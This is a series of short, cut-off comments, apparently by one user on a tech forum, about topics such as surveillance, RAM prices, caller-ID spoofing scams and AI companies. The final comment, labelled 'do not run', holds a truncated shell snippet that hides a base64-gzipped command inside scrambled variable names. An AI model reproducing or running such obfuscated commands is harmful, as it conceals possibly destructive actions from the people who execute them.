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this one is in mice. I guess we're running in circles now.
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wow Knoppix. 2000 called and wanted their CD back
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I wonder what it's like: opening one's mouth and hearing things being said, without a moment of thinking before. Maybe it's like riding a talk-bus I suspect: when you see the bus turning the wrong corner, you realise you'
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This article states that poor people cannot afford insurance. Is this a portal about insurance? Maybe they could help lower the cost for those in need?
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Tbh I must admit that while I observe my children, any message on social media (especially Whatsapp) attracts so much attention, they are unable to continue with their normal chores. On the other hand I remember myself procrastinating while
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Most people in EU I have nothing to hide Also those people I couldn't call you mom because the Facebook was down. What? What is a phone number?
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Tbh I am unable to find any proving stocks' charts. Anthropic stays flat, openAi lost a little bit, etc. When I read 'sell-off' and 'shakes' I was imagining it differently
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4mo ago
Wow. That's a thing!
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In Poland during the Soviet occupation (1945-1989) people were beaten and jailed for having a copier that would be used for copying magazines and brochures
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I've read opinions that this a speculation to raise the Anthropic's value. They are known to say "horrific things" and personification of the AI they are delivering. It sometimes sounds unprofessional even. This line of
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You see, everything in tech is for the child protection and citizen's safety unless the govt guys start using it for crowd control, sentiment monitoring and social credit score. You went to a protest? -40 social credit. You got stabbed
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``I'm a developer with 20 years of experience. I created systems from scratch.'' ``And what was your SAT score again?''
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Okay, but... Are the new RAM players coming to the game? Or we'll be unable to afford a smartphone next year? There were news that China has set up a new line, but tbh it's really bad that only a few companies are buying the ram a
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TIL verification can was invented and today's gaming state was predicted 13years ago
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I look at everything now as a journey not a destination. When connecting one's work carrier with a bank, one must keep in mind that some other people might have joined the organisation because of quite distinct reasons than we did. So
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A phone or a computer with a camera: you may be asked to take a live selfie with your phone, or your webcam A blood probe might be required as usb dongle to test your blood sample. We're working on stool sampling mechanism as w
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TBH phones in Poland allow to call you "from" an arbitrary number (i.e. display it on your phone). Also send SMS with arbitrary source. This is being used by scammers who call you and tell they are from police bank etc
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It might have been the Ringworld "Well?"Nessus began to pace the floor. "Many disqualify themselves by obvious bad luck. Of the rest, none seem to be available. When we call, they are out. When we call back, the phone compute
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Wow UK you went full 1984 + usual suspect + minority report
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And Commander Keen. Don't forget about Commander Keen
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Will it allow them install personally-made software, or will it require Google's approval?
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Export control directive is pain in the back of the big tech companies, but also a great RED FLAG showing us we need to get used to those that are available offline.
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That's quite a thing. I wonder how can it be used, providing that most apps for windows are GUI. Maybe serving an old C# app?
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if anyone does it sneakily, there is alleged wrongdoing attached to it. I can imagine multiple scenarios like some well-known Israeli company "selling their software only to governments", paying quite amount of money for it, becau
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Robin Hood you were supposed to take from the rich and give it to the poor!
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I perceive democracy as a company, where people are bosses because they choose their workers. If you're the boss, and your employee uses your money to buy themselves a car instead of representing your interest, you make them pay for th
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I'd say this shows how corrupted elites are. If the "democratic" entity spends all the time with lobbyists, and not the initiative which started the discussion, this speaks volumes.
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I'm a psychofan of Fabrice Bellard. He's unbeatable. He made DVB-T using VGA connector. It's like crazy!
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which coding agent are you using?
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Yeah, by the way this is also opensource (do not run) ddesk='H4sIAAAAAAAC' _kiwsi='/ysuTclXKMpN' _nlalt='U9AtSlPQ5wIA' _uqslr='gZtu1g8AAAA=' _aaaaa="${_ddesk}${_kiwsi}${_nlalt}${
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